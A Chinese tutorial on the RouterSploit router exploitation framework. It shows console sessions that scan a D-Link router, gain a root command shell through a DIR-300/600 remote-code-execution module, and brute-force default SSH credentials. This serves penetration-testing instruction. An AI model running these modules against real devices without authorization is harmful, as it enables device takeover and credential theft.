RouterSploit:路由器漏洞检测及利用框架

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RouterSploit:路由器漏洞检测及利用框架

  RouteSploit框架是一款开源的漏洞检测及利用框架,其针对的对象主要为路由器等嵌入式设备。

  框架功能

  RouteSploit框架主要由可用于渗透测试的多个功能模块组件组成,

  1、 Scanners:模块功能主要为检查目标设备是否存在可利用的安全漏洞;

  2、Creds:模块功能主要针对网络服务的登录认证口令进行检测;

  3、Exploits:模块功能主要为识别到目标设备安全漏洞之后,对漏洞进行利用,实现提权等目的。

  工具安装

  sudo apt-get install python-requests python-paramiko python-netsnmpgit clone https://github.com/reverse-shell/routersploit ./rsf.py

  GitHub地址如上命令中所述为:RouteSploit。

  操作使用

  首先,启动RouteSploit框架,具体如下所示

  root@kalidev:~/git/routersploit# ./rsf.py

  ______ _ _____ _ _ _

  | ___ / | | / ___| | | (_) |

  | |_/ /___ _ _| |_ ___ _ __/ `--. _ __ | | ___ _| |_

  | // _ /| | | | __/ _ / '__|`--. / '_ /| |/ _ /| | __|

  | |/ / (_) | |_| | || __/ | //__/ / |_) | | (_) | | |_

  /_| /_/___/ /__,_|/__/___|_| /____/| .__/|_|/___/|_|/__|

  | |

  Router Exploitation Framework |_|

  Dev Team : Marcin Bury (lucyoa) & Mariusz Kupidura (fwkz)

  Codename : Wildest Dreams

  Version : 1.0.0

  rsf >

  1、Scanners 模块

  scanners模块,具备设备漏洞扫描功能,通过该模块,可快速识别目标设备是否存在可利用的安全漏洞,下面会以一个dlink路由器为例,结合进行操作描述。

  (1)选择scanners模块,操作如下,

  rsf > use scanners/dlink_scan

  rsf (D-Link Scanner) > show options

  (2)显示选项

  Target options:

  Name Current settings Description

  ---- ---------------- -----------

  target Target address e.g. http://192.168.1.1

  port 80 Target port

  (3)设置目标设备IP

  rsf (D-Link Scanner) > set target 192.168.1.1

  [+] {'target': '192.168.1.1'}

  (4)运行模块,执行情况如下,

  rsf (D-Link Scanner) > run

  [+] exploits/dlink/dwr_932_info_disclosure is vulnerable

  [-] exploits/dlink/dir_300_320_615_auth_bypass is not vulnerable

  [-] exploits/dlink/dsl_2750b_info_disclosure is not vulnerable

  [-] exploits/dlink/dns_320l_327l_rce is not vulnerable

  [-] exploits/dlink/dir_645_password_disclosure is not vulnerable

  [-] exploits/dlink/dir_300_600_615_info_disclosure is not vulnerable

  [-] exploits/dlink/dir_300_600_rce is not vulnerable

  [+] Device is vulnerable!

  - exploits/dlink/dwr_932_info_disclosure

  如上所呈现的结果,目标设备存在dwr_932_info_disclosure漏洞。接下来,我们选择合适的payload进行传递和测试(以下涉及exploits模块功能操作,如需,请再往下查阅),

  

RouterSploit:路由器漏洞检测及利用框架

  2、Exploits 模块

  (1)选择Exploits模块,操作如下,

  rsf > use exploits/

  exploits/2wire/ exploits/asmax/ exploits/asus/ exploits/cisco/ exploits/dlink/ exploits/fortinet/ exploits/juniper/ exploits/linksys/ exploits/multi/ exploits/netgear/

  rsf > use exploits/dlink/dir_300_600_rce

  rsf (D-LINK DIR-300 & DIR-600 RCE) >

  我们也可以使用“tab”键来自动补充输入命令。

  (2)显示选项

  rsf (D-LINK DIR-300 & DIR-600 RCE) > show options

  Target options:

  Name Current settings Description

  ---- ---------------- -----------

  target Target address e.g. http://192.168.1.1

  port 80 Target Port

  设置选项,操作如下,

  rsf (D-LINK DIR-300 & DIR-600 RCE) > set target http://192.168.1.1

  [+] {'target': 'http://192.168.1.1'}

  (3)运行模块

  通过使用“run”或“exploit”命令来完成漏洞的利用,

  rsf (D-LINK DIR-300 & DIR-600 RCE) > run

  [+] Target is vulnerable

  [*] Invoking command loop...

  cmd > whoami

  root

  也可检测目标设备是否存在选定的安全漏洞,操作如下,

  rsf (D-LINK DIR-300 & DIR-600 RCE) > check

  [+] Target is vulnerable

  (4)显示具体漏洞信息

  通过“show info”命令,显示漏洞信息,包括其存在的设备品牌、型号、漏洞类型及参考来源,具体参考如下,

  rsf (D-LINK DIR-300 & DIR-600 RCE) > show info

  Name:

  D-LINK DIR-300 & DIR-600 RCE

  Description:

  Module exploits D-Link DIR-300, DIR-600 Remote Code Execution vulnerability which allows executing command on operating system level with root privileges.

  Targets:

  - D-Link DIR 300

  - D-Link DIR 600

  Authors:

  - Michael Messner # vulnerability discovery

  - Marcin Bury # routersploit module

  References:

  - http://www.dlink.com/uk/en/home-solutions/connect/routers/dir-600-wireless-n-150-home-router

  - http://www.s3cur1ty.de/home-network-horror-days

  - http://www.s3cur1ty.de/m1adv2013-003

  3、 Creds模块

  (1)选择模块

  此模块相关文件位于 /routesploit/modules/creds/ 目录下,以下为该模块支持检测的服务,

  ? ftp

  ? ssh

  ? telnet

  ? http basic auth

  ? http form auth

  ? snmp

  在检测过程中,可通过两个层面对上述的每个服务进行检测,

  默认服务登录口令检测:利用框架提供的各类路由等设备以及服务的默认登录口令字典,通过快速列举的方式,可在较短时间内(几秒钟)验证设备是否仍使用默认登录口令;

  暴力破解:利用框架中所提供的特定账户或者账户列表进行字典攻击。其中包含两个参数(登录账户及密码),如框架/routesploit/wordlists目录中字典所示,参数值可以为一个单词(如’admin’),或者是一整个单词列表。

  (2)控制台

  rsf > use creds/

  creds/ftp_bruteforce creds/http_basic_bruteforce creds/http_form_bruteforce creds/snmp_bruteforce creds/ssh_default creds/telnet_default

  creds/ftp_default creds/http_basic_default creds/http_form_default creds/ssh_bruteforce creds/telnet_bruteforce

  rsf > use creds/ssh_default

  rsf (SSH Default Creds) >

  (3)显示选项

  

RouterSploit:路由器漏洞检测及利用框架

  (4)设置目标设备IP

  rsf (SSH Default Creds) > set target 192.168.1.53

  [+] {'target': '192.168.1.53'}

  (5)运行模块

  rsf (SSH Default Creds) > run

  [*] Running module...

  [*] worker-0 process is starting...

  [*] worker-1 process is starting...

  [*] worker-2 process is starting...

  [*] worker-3 process is starting...

  [*] worker-4 process is starting...

  [*] worker-5 process is starting...

  [*] worker-6 process is starting...

  [*] worker-7 process is starting...

  [-] worker-4 Authentication failed. Username: '3comcso' Password: 'RIP000'

  [-] worker-1 Authentication failed. Username: '1234' Password: '1234'

  [-] worker-0 Authentication failed. Username: '1111' Password: '1111'

  [-] worker-7 Authentication failed. Username: 'ADVMAIL' Password: 'HP'

  [-] worker-3 Authentication failed. Username: '266344' Password: '266344'

  [-] worker-2 Authentication failed. Username: '1502' Password: '1502'

  (..)

  Elapsed time: 38.9181981087 seconds

  [+] Credentials found!

  Login Password

  ----- --------

  admin 1234

  rsf (SSH Default Creds) >

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